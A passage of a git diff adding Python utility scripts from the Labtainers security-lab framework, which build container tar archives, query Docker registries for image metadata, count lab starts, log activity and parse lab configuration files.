os.path.join(lab_dir, 'config', manifest_name) + for f in tar_list: + full = os.path.join(container_dir, f) + if os.path.isdir(full) and f.endswith('_tar'): + try: + logger.DEBUG('remove tree at %s' % tmp_loc) + shutil.rmtree(tmp_loc) + except: + pass + os.mkdir(tmp_loc) + os.chdir(full) + tmp_name = f[:-4] + tar_name = tmp_name+'.tar' + logger.DEBUG('check for %s' % tar_name) + if not os.path.isfile(tar_name): + ''' no tar, make one ''' + logger.DEBUG('no tar %s, make one' % tar_name) + f_list = os.listdir('./') + if len(f_list) == 0: + #print('no files, make empty') + ''' no files at all, create empty archive ''' + cmd = 'tar cvf %s --files-from /dev/null' % tar_name + os.system(cmd) + logger.DEBUG('did %s' % cmd) + else: + if external in f_list: + ''' external manifest, expand that ''' + logger.DEBUG('expand manifest at %s' % full) + expandManifest(full, tar_name) + for cfile in f_list: + logger.DEBUG('cfile is %s' % cfile) + if cfile != external: + if os.path.isdir(cfile): + copydir(cfile, os.path.join(tmp_loc, cfile)) + else: + shutil.copytree(cfile, os.path.join(tmp_loc, cfile)) + os.chdir(tmp_loc) + full_tar = os.path.join(full, tar_name) + if f == 'home_tar': + cmd = 'tar czf %s `ls -A -1` > %s' % (full_tar, manifest) + else: + cmd = 'tar czf %s `ls -A -1`' % (full_tar) + os.system(cmd) + #print('did %s' % cmd) + else: + ''' is a tar file, should it be updated? ''' + os.chdir(full) + newest = newest_file_in_tree('./') + logger.DEBUG('newest is %s' % newest) + referenced_tar_newer = False + if os.path.isfile(external): + latest_ref = newest_referenced_tar(full, tar_name) + logger.DEBUG('has manifest, is referenced file (%s) newer than local tar?' % latest_ref) + if os.stat(latest_ref).st_mtime > os.stat(tar_name).st_mtime: + referenced_tar_newer = True + + if referenced_tar_newer or not newest.endswith(tar_name): + os.remove(tar_name) + flist = os.listdir('./') + for f in flist: + if f == external: + continue + shutil.copytree(f , os.path.join(tmp_loc,f)) + ''' something is newer than the tar, need to update tar ''' + if os.path.isfile(os.path.join('./', external)): + expandManifest(full, tar_name) + os.chdir(tmp_loc) + full_tar = os.path.join(full, tar_name) + if f == 'home_tar': + cmd = 'tar czf %s `ls -A -1` > %s' % (full_tar, manifest) + else: + cmd = 'tar czf %s `ls -A -1`' % (full_tar) + os.system(cmd) + logger.DEBUG(cmd) + #print('did %s' % cmd) + else: + ''' tar file is the most recent. ensure we have a manifest ''' + if f == 'home_tar' and not os.path.isfile(manifest): + os.chdir(full) + cmd = 'tar tf %s > %s' % (tar_name, manifest) + os.system(cmd) + logger.DEBUG(cmd) + os.chdir(here) + noskip_file = os.path.join(container_dir,'_bin', 'noskip') + #print('look for %s' % noskip_file) + if os.path.isfile(noskip_file): + ''' files from home_tar that we want to collect from student -- normally home_tar files are not collected ''' + #print('is a skip') + with open(noskip_file) as fh: + for line in fh: + line = line.strip() + #print('check for %s' % line) + if len(line) > 0: + cmd = 'sed -i /%s$/d %s' % (line, manifest) + os.system(cmd) + + +def __main__(): + container_dir = sys.argv[1] + image_name = sys.argv[2] + CheckTars(container_dir, image_name) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/CurrentLab.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/CurrentLab.py new file mode 100644 index 000000000..25e72ccd8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/CurrentLab.py @@ -0,0 +1,32 @@ +import json +import os +clab_file = '.tmp/current.json' +class CurrentLab(): + def __init__(self): + self.data = {} + self.load() + def load(self): + if os.path.isfile(clab_file): + with open(clab_file) as fh: + try: + self.data = json.load(fh) + except: + print('failed loading json %s' % clab_file) + + def save(self): + try: + os.mkdir('./.tmp') + except: + pass + with open(clab_file, 'w') as fh: + json.dump(self.data, fh) + def add(self, key, value): + self.data[key] = value + def get(self, key): + if key in self.data: + return self.data[key] + else: + return None + def clear(self): + self.data = {} + self.save() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/InspectLocalReg.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/InspectLocalReg.py new file mode 100755 index 000000000..1bffffa15 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/InspectLocalReg.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +import os +import sys +import json +import subprocess +import VersionInfo +''' +Return creation date and user of a given image from a local registry, i.e., +the test registry. +''' + + + +def inspectLocal(image, test_registry, is_rebuild=False, quiet=False): + use_tag = 'latest' + digest = getDigest(image, 'latest', test_registry) + if digest is None: + return None, None, None, None, None + created, user, version, base = getCreated(image, digest, test_registry) + #print('base is %s' % base) + if base is not None: + base_image, base_id = base.rsplit('.', 1) + my_id = VersionInfo.getImageId(base_image, quiet) + if my_id == base_id: + pass + #print('got correct base_id') + else: + print('got WRONG base_id for base %s used in %s my: %s base: %s' % (base_image, image, my_id, base_id)) + tlist = getTags(image, test_registry) + need_tag = 'base_image%s' % my_id + if is_rebuild or need_tag in tlist: + use_tag = need_tag + elif quiet: + cmd = 'docker pull %s' % base_image + os.system(cmd) + else: + print('**************************************************') + print('* This lab will require a download of *') + print('* several hundred megabytes. *') + print('**************************************************') + confirm = str(raw_input('Continue? (y/n)')).lower().strip() + if confirm != 'y': + print('Exiting lab') + exit(0) + else: + print('Please wait for download to complete...') + cmd = 'docker pull %s' % base_image + os.system(cmd) + print('Download has completed. Wait for lab to start.') + + return created, user, version, use_tag, base + + + +def getTags(image, test_registry): + cmd = 'curl --silent --header "Accept: application/vnd.docker.distribution.manifest.v2+json" "http://%s/v2/%s/tags/list"' % (test_registry, image) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + j = json.loads(output[0]) + if 'tags' in j: + return j['tags'] + else: + return None + else: + return None + +def getDigest(image, tag, test_registry): + cmd = 'curl --silent --header "Accept: application/vnd.docker.distribution.manifest.v2+json" "http://%s/v2/%s/manifests/%s"' % (test_registry, image, tag) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + j = json.loads(output[0]) + if 'config' in j: + return j['config']['digest'] + else: + return None + else: + return None + +def getCreated(image, digest, test_registry): + cmd = 'curl --silent --location "http://%s/v2/%s/blobs/%s"' % (test_registry, image, digest) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + j = json.loads(output[0]) + #print j['container_config']['User'] + version = None + base = None + if 'version' in j['container_config']['Labels']: + version = j['container_config']['Labels']['version'] + if 'base' in j['container_config']['Labels']: + base = j['container_config']['Labels']['base'] + return j['created'], j['container_config']['User'], version, base + +#created, user, version, use_tag = inspectLocal('radius.radius.student', 'testregistry:5000', True) +#print '%s user: %s version: %s use_tag %s' % (created, user, version, use_tag) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/InspectRemoteReg.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/InspectRemoteReg.py new file mode 100755 index 000000000..aba63cb51 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/InspectRemoteReg.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +import os +import sys +import json +import subprocess +import VersionInfo +''' +Return creation date and user of a given image from the Docker Hub +without pulling the image. +''' +def inspectRemote(image, is_rebuild=False, quiet=False): + use_tag = 'latest' + token = getToken(image) + if token is None or len(token.strip()) == 0: + return None, None, None, None + digest = getDigest(token, image, 'latest') + if digest is None: + return None, None, None, None + created, user, version, base = getCreated(token, image, digest) + if base is None: + print('Remote image %s is lacking a base version, it needs to be retagged with trunk/distrib/retag_all.py' % image) + exit(1) + #print('base is %s' % base) + base_image, base_id = base.rsplit('.', 1) + my_id = VersionInfo.getImageId(base_image, quiet) + if my_id == base_id: + pass + #print('got correct base_id') + else: + #print('got WRONG base_id') + tlist = getTags(image, token) + need_tag = 'base_image%s' % my_id + if is_rebuild or need_tag in tlist: + use_tag = need_tag + elif quiet: + cmd = 'docker pull %s' % base_image + os.system(cmd) + else: + print('**************************************************') + print('* This lab will require a download of *') + print('* several hundred megabytes. *') + print('**************************************************') + confirm = str(raw_input('Continue? (y/n)')).lower().strip() + if confirm != 'y': + print('Exiting lab') + exit(0) + else: + print('Please wait for download to complete...') + cmd = 'docker pull %s' % base_image + os.system(cmd) + print('Download has completed. Wait for lab to start.') + return created, user, version, use_tag + +def getTags(image, token): + cmd = 'curl --silent --header "Accept: application/vnd.docker.distribution.manifest.v2+json" --header "Authorization: Bearer %s" "https://registry-1.docker.io/v2/%s/tags/list"' % (token, image) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + try: + j = json.loads(output[0]) + except: + print('Unable to reach docker registry. Is your network connection working?') + exit(1) + if 'tags' in j: + return j['tags'] + else: + return None + else: + return None + +def getToken(image): + cmd = 'curl --silent "https://auth.docker.io/token?scope=repository:%s:pull&service=registry.docker.io"' % (image) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + + if len(output[0].strip()) > 0: + j = json.loads(output[0]) + return j['token'] + else: + return None + +def getDigest(token, image, tag): + cmd = 'curl --silent --header "Accept: application/vnd.docker.distribution.manifest.v2+json" --header "Authorization: Bearer %s" "https://registry-1.docker.io/v2/%s/manifests/%s"' % (token, image, tag) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + try: + j = json.loads(output[0]) + except ValueError: + with open('/tmp/docker_error.txt', 'w') as fh: + fh.write(cmd+'\n'+output[0]) + print('Error getting digest for image: %s tag: %s' % (image, tag)) + print('please email the file at /tmp/docker_error.txt to mfthomps@nps.edu') + exit(1) + if 'config' in j: + return j['config']['digest'] + else: + ''' assume not found error? ''' + return None + else: + return None + +def getCreated(token, image, digest): + cmd = 'curl --silent --header "Authorization: Bearer %s" "https://registry-1.docker.io/v2/%s/blobs/%s"' % (token, image, digest) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + ''' Sometimes get redirected, and authentication then fails? ''' + if 'Temporary Redirect' in output[0]: + redirect = output[0].split('"')[1] + flare = 'curl --silent %s' % redirect + ps = subprocess.Popen(flare, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + try: + j = json.loads(output[0]) + except ValueError: + with open('/tmp/docker_error.txt', 'w') as fh: + fh.write(cmd+'\n'+output[0]) + print('Error getting blob for image: %s digest: %s' % (image, digest)) + print('please email the file at /tmp/docker_error.txt to mfthomps@nps.edu') + exit(1) + version = None + base = None + if 'version' in j['container_config']['Labels']: + version = j['container_config']['Labels']['version'] + if 'base' in j['container_config']['Labels']: + base = j['container_config']['Labels']['base'] + return j['created'], j['container_config']['User'], version, base + else: + return None, None, None, None + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/LabCount.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/LabCount.py new file mode 100644 index 000000000..e1be443e8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/LabCount.py @@ -0,0 +1,57 @@ +import os +import datetime +import json +''' +Keep a count of lab starts and redos. +''' +def getPath(start_path, labname): + count_path = os.path.join(start_path, '.tmp', labname, 'count.json') + if not os.path.isdir(os.path.dirname(count_path)): + os.makedirs(os.path.dirname(count_path)) + return count_path + +def addCount(start_path, labname, is_redo, logger): + current_time_string = str(datetime.datetime.now()) + current_count = getLabCount(start_path, labname, logger) + writeLabCount(start_path, labname, is_redo, current_count, current_time_string, logger) + return len(current_count['start']+current_count['redo']) + +def getLabCount(start_path, labname, logger): + current_count = {} + count_path = getPath(start_path, labname) + if os.path.isfile(count_path): + with open(count_path) as f: + try: + current_count = json.load(f) + except: + logger.WARNING('json load failed on %s, reset the counts.' % count_path) + current_count['start'] = [] + current_count['redo'] = [] + else: + current_count['start'] = [] + current_count['redo'] = [] + + return current_count + +def writeLabCount(start_path, labname, is_redo, current_count, current_time_string, logger): + if is_redo: + current_count['redo'].append(current_time_string) + else: + if 'normal' in current_count: + current_count['normal'].append(current_time_string) + else: + try: + current_count['start'].append(current_time_string) + except: + return + + count_path = getPath(start_path, labname) + labname_file = open(count_path, "w") + try: + jsondumpsoutput = json.dumps(current_count, indent=4) + except: + logger.ERROR('json dumps failed on %s' % current_count) + exit(1) + labname_file.write(jsondumpsoutput) + labname_file.write('\n') + labname_file.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/LabtainerLogging.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/LabtainerLogging.py new file mode 100755 index 000000000..e53d4410b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/LabtainerLogging.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +import inspect +import logging +import os +import sys +import re +import ParseLabtainerConfig + +LABTAINER_CONFIG = os.path.abspath("../../config/labtainer.config") + +class LabtainerLogging(): + def __init__(self, logfilename, labname, labtainer_config): + #print "filename is (%s)" % logfilename + #print "labname is (%s)" % labname + logname = "labtainer.%s" % labname + + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config, None) + file_log_level = labtainer_config.file_log_level + console_log_level = labtainer_config.console_log_level + + self.logger = logging.getLogger(logname) + self.logger.setLevel(file_log_level) + formatter = logging.Formatter('[%(asctime)s - %(levelname)s : %(message)s') + + file_handler = logging.FileHandler(logfilename) + file_handler.setLevel(file_log_level) + file_handler.setFormatter(formatter) + + console_handler = logging.StreamHandler() + console_handler.setLevel(console_log_level) + console_handler.setFormatter(formatter) + + self.logger.addHandler(file_handler) + self.logger.addHandler(console_handler) + + def DEBUG(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.debug(linemessage) + + def INFO(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.info(linemessage) + + def WARNING(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.warning(linemessage) + + def ERROR(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.error(linemessage) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/ParseLabtainerConfig.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/ParseLabtainerConfig.py new file mode 100755 index 000000000..05920f967 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/ParseLabtainerConfig.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +import logging +import os +import sys +import LabtainerLogging +import traceback + +class ParseLabtainerConfig(): + ''' + Parse the labtainer configuration file for system wide labtainer settings. + The use of "Global Settings" is a cut/paste artifact and should probably + be removed. + Paths within configuation values will be adjusted to their absolute paths + to avoid passing links to docker commands. + ''' + def __init__(self, fname, logger): + self.host_home_xfer= "" # HOST_HOME_XFER - directory to transfer artifact to/from containers + self.testsets_root= None # TESTSETS_ROOT - regression test root + self.watermark_root= None # WATERMARK_ROOT - watermark test root + self.file_log_level= "" # FILE_LOG_LEVEL - level to log to file + self.console_log_level= "" # CONSOLE_LOG_LEVEL - level to log to console + self.test_registry = 'testregistry:5000' + self.default_registry = 'mfthomps' + self.apt_source='archive.ubuntu.com' + self.checkwork='yes' + if logger != None: + self.logger = logger + else: + self.logger = None + if not os.path.exists(fname): + self.mylog("Config file %s does not exists!\n" % fname) + sys.exit(1) + self.mylogdebug('using config file %s' % fname) + self.get_configs(fname) + self.labtainer_root = os.path.dirname(os.path.dirname(os.path.dirname(fname))) + self.finalize() + self.validate() + + def mylogdebug(self, message): + if self.logger != None: + self.logger.DEBUG(message) + + def mylog(self, message): + if self.logger != None: + traceback.print_exc() + traceback.print_stack() + self.logger.ERROR(message) + else: + sys.stderr.write(message) + + + def get_configs(self, fname): + """Reads the new config format. There is basically no format validation so + this accidentally supports a much more flexible format right now, which + is bad. It does check for unknown config options, which is good. The main + advantage is that I think the parsing method should be easy to extend.""" + active = None + defaults_ok = {"global_settings"} + with open(fname, "r") as f: + for line in f: + linestrip = line.strip() + if not linestrip or linestrip.startswith("#"): + continue + keyval = linestrip.split() + key = keyval[0].lower() + if len(keyval) > 1: + val = keyval[1].lower() + elif key in defaults_ok: + val = "default" + else: + self.mylog("Fatal. Missing value for: %s" % line) + exit(1) + + if key == "global_settings": + active = self + elif hasattr(active, key): + setattr(active, key, val) + else: + self.mylog("Fatal. Can't understand config setting: %s" % line) + exit(1) + + def validate(self): + """ Checks to make sure we have all the info we need from the user.""" + if not self.host_home_xfer: + self.mylog("Missing host_home_xfer in labtainer.config!\n") + exit(1) + if not self.testsets_root: + self.mylog("Missing testsets_root in labtainer.config!\n") + exit(1) + else: + self.testsets_root = os.path.abspath(self.testsets_root) + if not self.watermark_root: + self.mylog("Missing watermark_root in labtainer.config!\n") + exit(1) + else: + self.watermark_root = os.path.abspath(self.watermark_root) + if not self.file_log_level: + self.mylog("Missing file_log_level in labtainer.config!\n") + exit(1) + if not self.console_log_level: + self.mylog("Missing console_log_level in labtainer.config!\n") + exit(1) + + def finalize(self): + """ + Set log levels. """ + # fixing up global parameters + valid_log_levels = {"debug", "info", "warning", "error"} + if self.file_log_level not in valid_log_levels: + self.mylog("Invalid file_log_level (%s) in labtainer.config!\n" % self.file_log_level) + exit(1) + if self.console_log_level not in valid_log_levels: + self.mylog("Invalid console_log_level (%s) in labtainer.config!\n" % self.console_log_level) + exit(1) + logging_levels = {'debug' : logging.DEBUG, + 'info' : logging.INFO, + 'warning' : logging.WARNING, + 'error' : logging.ERROR} + self.file_log_level = logging_levels[self.file_log_level] + self.console_log_level = logging_levels[self.console_log_level] + if os.getenv('LABTAINER_NPS') == 'YES': + self.apt_source = 'NPS' + + + def show_current_settings(self): + bar = "="*80 + print bar + print("Global configuration settings:") + print bar + for key, val in self.__dict__.items(): + if type(val) == type({}): val = len(val) + print "\t" + str(key) + ": " + str(val) + print "\n"+bar + +if __name__ == '__main__': + labtainer_config = ParseLabtainerConfig(*sys.argv[1:]) + labtainer_config.show_current_settings() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/ParseStartConfig.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/ParseStartConfig.py new file mode 100755 index 000000000..aa98abc3b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/ParseStartConfig.py @@ -0,0 +1,348 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +import os +import sys +import re +from netaddr import * +import LabtainerLogging +import ParseLabtainerConfig +import labutils +import collections + +def isalphadashscore(name): + # check name - alphanumeric,dash,underscore + return re.match(r'^[a-zA-Z0-9_-]*$', name) + +class ParseStartConfig(): + def __init__(self, fname, labname, labtainer_config, logger, skip_networks=True, servers=None, clone_count=None): + self.containers = collections.OrderedDict() + self.subnets = {} # dictionary of subnets + self.labname = labname + self.caller = 'student' + self.host_home_xfer= "" # HOST_HOME_XFER - directory to transfer artifact to/from containers + self.lab_master_seed= None # LAB_MASTER_SEED - this is the master seed string for to this laboratory + self.grade_container = None # GRADE_CONTAINER - this is where the instructor performs the grading + self.logger = logger + self.fname = fname + self.skip_networks = skip_networks + self.labtainer_config = labtainer_config + self.clone_count = clone_count + # CHECKWORK, set to 'NO' if students should not be able to check their work for this lab + self.checkwork = 'yes' + # COLLECT_DOCS - this optional setting indicates whether to collect lab's docs directory or not + # default to NO (i.e., do not collect) + self.collect_docs = 'yes' + self.lan_hosts = {} + + if not os.path.exists(fname): + self.logger.ERROR("Config file %s does not exists!\n" % fname) + sys.exit(1) + + self.get_configs(fname) + self.multi_user = None + ''' determine if running as a distributed Labtainers, or many clients on a single VM ''' + if self.clone_count > 0: + self.multi_user = 'clones' + elif servers is not None: + self.multi_user = servers + self.finalize() + self.validate() + self.logger.DEBUG('Completed reload from %s' % fname) + + class Container(): + def __init__(self, name, logger): + self.name = name + self.terminals = 1 + self.xterm = None + self.user = "" + self.password = "" + self.hostname = "" + self.image_name = "" + self.full_name = "" + self.container_nets = {} #dictionary of name and ip addr + self.script = "bash" + self.x11 = "no" + self.registry = None + self.terminal_group = None + self.add_hosts = [] + self.no_privilege = 'no' + self.clone_copies = None # Dynamic, number of clones to be created. + self.clone = None # Number of clones of this component to create. + self.client = None # Used for distributed labtainers, indicates container is a client + self.from_image = None + self.enable = None + self.disable = None + self.logger = logger + + def add_net(self, name, ipaddr): + self.container_nets[name] = ipaddr + + def validate(self, valid_networks=set(), skip_networks = False): + self.terminals = int(self.terminals) #replace with something smarter + + if '=' in self.name: # TODO: do we still need this? + self.logger.ERROR('Character "=" is not allowed in container name (%s)\n' % self.name) + exit(1) + for name, addr in self.container_nets.items(): + tlan = name + if ':' in name: + tlan = name.split(':')[0] + if tlan not in valid_networks: + self.logger.ERROR('Container %s cannot be added to undefined network %s\n' % (self.full_name, tlan)) + exit(1) + if not skip_networks: + if ':' in addr: + addr, mac = addr.split(':',1) + if not re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", mac.lower()): + self.logger.ERROR('bad MAC address %s in %s\n' % (mac, name)) + exit(1) + elif '+' in addr: + addr, adjust = addr.split('+') + if adjust.lower() != 'clone' and adjust.lower() != 'clone_mac': + self.logger.ERROR('bad adjustment syntax for network definition of %s, expected "CLONE", got %s' % (name, adjust)) + exit(1) + if addr != 'auto' and addr != 'auto_mac': + try: + IPAddress(addr) + except : + self.logger.ERROR('bad ip addr %s in %s\n' % (addr, name)) + exit(1) + + class Subnet(): + def __init__(self, name, logger): + self.name = name + self.mask = 0 + self.gateway = 0 + self.macvlan = None + self.macvlan_ext = None + self.macvlan_use = None + self.ip_range = None + self.logger = logger + + def validate(self): + if not isalphadashscore(self.name): + self.logger.ERROR('bad subnet name %s \n' % (self.name)) + exit(1) + try: + IPNetwork(self.mask) + except: + self.logger.ERROR('bad ip subnet %s for subnet %s\n' % (self.mask, self.name)) + exit(1) + if not IPAddress(self.gateway) in IPNetwork(self.mask): + self.logger.ERROR('network: %s Gateway IP (%s) not in subnet for SUBNET line(%s)!\n' % + (self.name, self.gateway, self.mask)) + exit(1) + + def add_if_new(self, name, location, thing): + if name in location: + self.logger.ERROR("Fatal. '%s' already defined." % name) + exit(1) + location[name] = thing + + def get_configs(self, fname): + """Reads the new config format. There is basically no format validation so + this accidentally supports a much more flexible format right now, which + is bad. It does check for unknown config options, which is good. The main + advantage is that I think the parsing method should be easy to extend.""" + active = None + defaults_ok = {"network","container", "global_settings"} + with open(fname, "r") as f: + for line in f: + linestrip = line.strip() + if not linestrip or linestrip.startswith("#"): + continue + keyval = linestrip.split(None,1) + key = keyval[0].lower() + if len(keyval) > 1: + if key == "user" or key == "xterm" or key == "password": + # DO NOT change case for 'user' or 'xterm' + val = keyval[1] + else: + val = keyval[1].lower() + elif key in defaults_ok: + val = "default" + else: + self.logger.ERROR("Fatal. Missing value for: %s" % line) + exit(1) + + if key == "global_settings": + active = self + elif key == "network": + self.add_if_new(val, self.subnets, self.Subnet(val, self.logger)) + active = self.subnets[val] + self.lan_hosts[val] = [] + elif key == "container": + if val in self.containers: + self.logger.ERROR('Container %s already defined' % val) + exit(1) + self.containers[val] = self.Container(val, self.logger) + self.logger.DEBUG('added container %s' % val) + active = self.containers[val] + elif key == 'add-host': + active.add_hosts.append(val) + elif hasattr(active, key): + setattr(active, key, val) + else: + try: + active.add_net(key,val) + lan_host = '%s:%s' % (active.name, val) + tlan = key + if ':' in key: + tlan = key.split(':')[0] + self.lan_hosts[tlan].append(lan_host) + except: + self.logger.ERROR("Fatal. Can't understand config setting: %s" % line) + exit(1) + + def validate(self): + """ Checks to make sure we have all the info we need from the user.""" + + if not self.collect_docs: + # COLLECT_DOCS - this optional setting indicates whether to collect lab's docs directory or not + self.collect_docs = "no" + else: + if self.collect_docs.lower() != "yes" and self.collect_docs.lower() != "no": + self.logger.ERROR("Unexpected collect_docs value in ParseStartConfig module : %s\n" % self.collect_docs) + exit(1) + + if not self.host_home_xfer: + self.logger.ERROR("Missing host_home_xfer in start.config!\n") + exit(1) + + if not self.lab_master_seed: + self.logger.ERROR("Missing lab_master_seed in start.config!\n") + exit(1) + + if not self.grade_container: + self.logger.ERROR("Missing grade_container in start.config!\n") + exit(1) + + if not self.skip_networks: + for subnet in self.subnets.values(): + subnet.validate() + + for container in self.containers.values(): + container.validate(self.subnets.keys(), self.skip_networks) + + + + def finalize(self): + """Combines info provided by user with what we already know about the + lab to get the final settings we want.""" + # fixing up global parameters + self.host_home_xfer = os.path.join(self.host_home_xfer,self.labname) + self.lab_master_seed = self.labname + self.lab_master_seed + if self.grade_container == "default": + self.grade_container = self.labname + "." + self.caller + else: + self.grade_container = self.labname + "." + self.grade_container + "." + self.caller + + ''' fix macvlan networks, assign use_macvan value based on whether ...''' + for net in self.subnets: + if self.subnets[net].macvlan_ext is not None: + try: + iface_num = int(self.subnets[net].macvlan_ext) + use = labutils.getFirstUnassignedIface(iface_num) + if use is None: + self.logger.ERROR('MACVLAN requested, but not %s unassigned interfaces' % iface_num) + exit(1) + except ValueError: + use = self.subnets[net].macvlan_ext + self.subnets[net].macvlan_use = use + elif self.multi_user is not None: + try: + iface_num = int(self.subnets[net].macvlan) + use = labutils.getFirstUnassignedIface(iface_num) + if use is None: + self.logger.ERROR('MACVLAN requested, but not %s unassigned interfaces' % iface_num) + exit(1) + except ValueError: + use = self.subnets[net].macvlan + self.subnets[net].macvlan_use = use + + use_test_registry = os.getenv('TEST_REGISTRY') + # fixing up container parameters + for name in self.containers: + if name == "default": namestr = "" + else: + namestr = "." + name + full = self.labname + namestr + "." + self.caller + if self.containers[name].from_image is None: + image = self.labname + namestr + "." + self.caller + else: + image = self.containers[name].from_image + "." + self.caller + if self.containers[name].user == '': + try: + from_lab, from_container = self.containers[name].from_image.split('.') + except: + self.logger.ERROR('bad from_image value %s' % self.containers[name].from_image) + exit(1) + if from_lab == self.labname: + self.containers[name].user = self.containers[from_container].user + self.containers[name].password = self.containers[from_container].password + #print('from_lab <%s>, user now %s bs is %s' %(from_lab, self.containers[name].user, self.containers[from_container].user)) + else: + self.logger.ERROR('Use of FROM_IMAGE from different lab requires explicit USER (which must be manually gotten from other lab :{') + exit(1) + if self.containers[name].full_name == "": + self.containers[name].full_name = full + if self.containers[name].image_name == "": + self.containers[name].image_name = image + if self.containers[name].hostname == "": + self.containers[name].hostname = name + if self.containers[name].password == "": + self.containers[name].password = self.containers[name].user + if self.containers[name].script == "none": + self.containers[name].script = ""; + if use_test_registry is not None and (use_test_registry.lower() == 'yes' or use_test_registry.lower() == 'true'): + 